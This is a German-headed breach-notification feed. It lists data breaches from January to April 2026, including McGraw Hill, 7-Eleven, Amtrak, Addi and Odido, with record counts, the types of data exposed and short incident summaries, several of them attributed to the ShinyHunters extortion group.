In April 2026, education company McGraw Hill confirmed a data breach following an extortion attempt. Attributed to a Salesforce misconfiguration, the company stated the incident exposed "a limited set of data from a webpage hosted by Salesforce on its platform". More than 100GB of data was later publicly distributed, containing 13.5M unique email addresses across multiple files, with additional fields such as name, physical address and phone number appearing inconsistently across some records.
08.04.2026 - 7-Eleven 185.256 Datensätze geleaked
Dates of birth, Email addresses, Names, Phone numbers, Physical addresses

In April 2026, 7-Eleven was the victim of a "pay or leak" extortion campaign by ShinyHunters, with the data later published that month. The incident exposed 185k unique email addresses, along with names, physical addresses, dates of birth and phone numbers. A small number of records also contained additional exposed data fields. The company later advised the breach was limited to "certain 7-Eleven systems used to store franchisee documents", a statement consistent with the exposed data.
07.04.2026 - My Lovely AI 106.271 Datensätze geleaked
Email addresses, Social media profiles

In April 2026, the NSFW AI girlfriend platform My Lovely AI suffered a data breach that exposed over 100k users. The data included user-created prompts and links to the resulting AI-generated images, along with a small number of Discord and X usernames.
06.04.2026 - LegionProxy 10.144 Datensätze geleaked
Email addresses, Names, Passwords, Purchases

In April 2026, the commercial residential and ISP proxy network LegionProxy suffered a data breach. The incident exposed 10k email addresses, bcrypt password hashes, names and purchases.
03.04.2026 - Amtrak 2.147.679 Datensätze geleaked
Email addresses, Names, Physical addresses, Support tickets

In April 2026, the hacking group ShinyHunters claimed they had breached Amtrak. The group typically compromises organisations' Salesforce instances before demanding a ransom and later, if not paid, dumping the data publicly. They subsequently published the alleged data which contained over 2M unique email addresses along with names, physical addresses and customer support records.
02.04.2026 - SongTrivia2 291.739 Datensätze geleaked
Auth tokens, Avatars, Email addresses, Names, Passwords, Usernames

In April 2026, the music trivia platform SongTrivia2 suffered a data breach that was subsequently published to a public hacking forum. The data contained a total of 291k unique email addresses sourced from either Google OAuth logins or accounts created on the site, the latter also containing bcrypt password hashes. The data also included names, usernames and avatars.
31.03.2026 - Hallmark 1.736.520 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses, Support tickets

In March 2026, Hallmark suffered an alleged breach and subsequent extortion after attackers gained access to data stored within Salesforce. The data was later published after the extortion deadline passed, exposing 1.7M unique email addresses across both Hallmark and the Hallmark+ streaming service, along with names, phone numbers, physical addresses and support tickets.
27.03.2026 - ZenBusiness 5.118.184 Datensätze geleaked
Email addresses, Names, Phone numbers

In March 2026, the hacker and extortion group "ShinyHunters" claimed to have obtained a substantial corpus of data from ZenBusiness, a business formation and compliance platform. The group claimed the data had been exfiltrated from platforms including Snowflake, Mixpanel and Salesforce, and threatened to publish it if a ransom was not paid. The following month, after claiming payment had not been made, ShinyHunters publicly released the data. The collection amounted to many terabytes across thousands of files that appeared to originate from multiple systems and business functions, including leads, support records and other CRM-related data. The data contained approximately 5M unique email addresses, often accompanied by name and phone number depending on the source file.
26.03.2026 - BreachForums Version 5 339.778 Datensätze geleaked
Email addresses, Passwords, Usernames

In March 2026, a breach of one of the many iterations of the BreachForums hacking forum known as "Version 5" was publicly disclosed. The incident exposed 340k unique email addresses along with usernames and argon2 password hashes.
25.03.2026 - Addi 34.532.941 Datensätze geleaked
Age groups, Credit scores, Device information, Email addresses, Government issued IDs, Income levels, IP addresses, Latitude and longitude pairs, Names, Phone numbers, Physical addresses, Purchases, Socioeconomic levels

In March 2026, the Colombian fintech company Addi identified unauthorised activity on its platform and advised customers that "it is possible that your personal information may have been compromised". The "pay or leak" extortion group ShinyHunters subsequently claimed responsibility and published a large trove of personal data allegedly obtained from Addi. The data included 34M unique email addresses from credit scoring requests, credit bureau records, customer identity records and email validation logs. It also contained government issued IDs (Cédula de Ciudadanía), estimated income, socioeconomic levels, purchases and other credit-related data points.
25.03.2026 - Sound Radix 292.993 Datensätze geleaked
Email addresses, Names, Passwords

In March 2026, the audio production tools company Sound Radix disclosed a data breach that they subsequently self-submitted to HIBP. The incident impacted 293k unique email addresses and names. Sound Radix advised that it is possible that additional data including hashed passwords may have been exposed, and that no financial or credit card information was impacted.
13.03.2026 - Divine Skins 105.814 Datensätze geleaked
Email addresses, Purchases, Usernames

In March 2026, the League of Legends custom skins service Divine Skins suffered a data breach. The incident was disclosed via the service's Discord server, where Divine Skins stated that an unauthorised third party accessed part of its systems, deleted all skins from the database and exposed email addresses and usernames. The data also contained a history of purchases made by users.
12.03.2026 - Crunchyroll 1.195.684 Datensätze geleaked
Email addresses

In March 2026, the anime streaming service Crunchyroll suffered a data breach alleged to have impacted 6.8M users. The exposed data is reported to have originated from the company's Zendesk support system where "name, login name, email address, IP address, general geographic location and the contents of the support tickets" were exposed. A subset of 1.2M email addresses from an alleged 2M record dataset being sold was later provided to HIBP.
08.03.2026 - Baydöner 1.266.822 Datensätze geleaked
Dates of birth, Email addresses, Genders, Geographic locations, Government issued IDs, Names, Passwords, Phone numbers, Purchases

In March 2026, the Turkish restaurant chain Baydöner suffered a data breach which was subsequently published to a public hacking forum. The incident exposed over 1.2M unique email addresses along with names, phone numbers, cities of residence and plaintext passwords. A small number of records also included Turkish national ID number and date of birth. In their disclosure notice, Baydöner stated that payment and financial data was not affected.
06.03.2026 - Aura 903.080 Datensätze geleaked
Customer service comments, Email addresses, IP addresses, Names, Phone numbers, Physical addresses

In March 2026, the online safety service Aura disclosed a data breach that exposed 900k unique email addresses. The data was primarily associated with a marketing tool from a previously acquired company, with fewer than 20k active Aura customers affected. Exposed data included names, phone numbers, physical and IP addresses, and customer service notes. Aura advised that no Social Security numbers, passwords or financial information were compromised.
04.03.2026 - SUCCESS 253.510 Datensätze geleaked
Device information, Email addresses, IP addresses, Names, Passwords, Phone numbers, Physical addresses, Purchases

In March 2026, the personal development and achievement media brand SUCCESS suffered a data breach. The incident exposed 250k unique email addresses along with names, IP addresses, phone numbers and, for a limited number of staff members, bcrypt password hashes. The data also included orders containing physical addresses and the payment method used. In SUCCESS' disclosure notice, they advised their system had also been abused to send offensive newsletters with quotes falsely attributed to contributors.
04.03.2026 - Woflow 447.593 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses

In March 2026, the AI-driven merchant data platform Woflow was named as a victim by the ShinyHunters data extortion group. The group subsequently published tens of thousands of files allegedly obtained from the company, comprising more than 2TB of data. The trove included hundreds of thousands of email addresses, names, phone numbers and physical addresses, with the data indicating it related to Woflow customers and, in turn, the customers of merchants using their platform.
02.03.2026 - Ameriprise 502.597 Datensätze geleaked
Email addresses, Employers, Financial transactions, Job titles, Names, Phone numbers, Physical addresses

In March 2026, the financial services firm Ameriprise Financial was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group claimed possession of more than 200GB of compressed data exfiltrated from Ameriprise's Salesforce environment and internal SharePoint infrastructure, and subsequently published the data after negotiations allegedly failed. The published data contained 500k unique email addresses as well as names, phone numbers, physical addresses and employer information. In their disclosure to state attorneys general, Ameriprise reported 47,876 affected people; the larger email address population represents contacts from Ameriprise's broader operational systems, including internal staff. Ameriprise further advised that they have "implemented heightened monitoring of your account(s) to include enhanced identity verification procedures".
25.02.2026 - KomikoAI 1.060.191 Datensätze geleaked
AI prompts, Email addresses, Forum posts, Names

In February, the AI-powered comic generation platform KomikoAI suffered a data breach. The incident exposed 1M unique email addresses along with names, user posts and the AI prompts used to generate content. The exposed data enables the mapping of individual AI prompts to specific email addresses.
25.02.2026 - Lovora 495.556 Datensätze geleaked
Display names, Email addresses, Profile photos

In February 2026, the couples and relationship app Lovora allegedly suffered a data breach that exposed 496k unique email addresses. The data also included users’ display names and profile photos, along with other personal information collected through use of the app. The app’s maker, Plantake, did not respond to multiple attempts to contact them about the incident.
17.02.2026 - Quitbro 22.874 Datensätze geleaked
Email addresses, Partial dates of birth, Usernames

In February 2026, the porn addiction app Quitbro allegedly suffered a data breach that exposed 23k unique email addresses. The data also included users’ years of birth, responses to questions within the app and their last recorded relapse time. The app’s maker, Plantake, did not respond to multiple attempts to contact them about the incident.
14.02.2026 - CarGurus 12.461.887 Datensätze geleaked
Email addresses, IP addresses, Names, Phone numbers, Physical addresses

In February 2026, the automotive marketplace CarGurus was the target of a data breach attributed to the threat actor ShinyHunters. Following an attempted extortion, the data was published publicly and contained more than 12M email addresses across multiple files including user account ID mappings, finance pre-qualification application data and dealer account and subscription information. Impacted data also included names, phone numbers, physical and IP addresses, and auto finance application outcomes.
12.02.2026 - Odido 6.077.025 Datensätze geleaked
Bank account numbers, Customer service comments, Dates of birth, Driver's licenses, Email addresses, Genders, Government issued IDs, Names, Passport numbers, Phone numbers, Physical addresses

In February 2026, Dutch telco Odido was the victim of a data breach and subsequent extortion attempt. Shortly after, a total of 6M unique email addresses were published across four separate data releases over consecutive days. The exposed data includes names, physical addresses, phone numbers, bank account numbers, dates of birth, customer service notes and passport, driver’s licence and European national ID numbers. Odido has published a disclosure notice including an FAQ to support affected customers.
06.02.2026 - Toy Battles 1.017 Datensätze geleaked
Chat logs, Email addresses, IP addresses, Usernames

In February 2026, the online gaming community Toy Battles suffered a data breach. The incident exposed 1k unique email addresses alongside usernames, IP addresses and chat logs. Following the breach, Toy Battles self-submitted the data to Have I Been Pwned.
30.01.2026 - Association Nationale des Premiers Secours 5.600 Datensätze geleaked
Dates of birth, Email addresses, Names, Places of birth, Salutations

In January 2026, a data breach impacting the French non-profit Association Nationale des Premiers Secours (ANPS) was posted to a hacking forum. The breach exposed 5.6k unique email addresses along with names, dates of birth and places of birth. ANPS self-submitted the data to HIBP and advised the incident was traced back to a legacy system and did not impact health data, financial information or passwords.
30.01.2026 - Provecho 712.904 Datensätze geleaked
Email addresses, Usernames

In early 2026, data purportedly sourced from the recipe and meal planning service Provecho was alleged to have been obtained in a breach. The exposed data included 713k unique email address along with username and the creator account holders followed. Provecho has been notified and is aware of the claims surrounding the incident.
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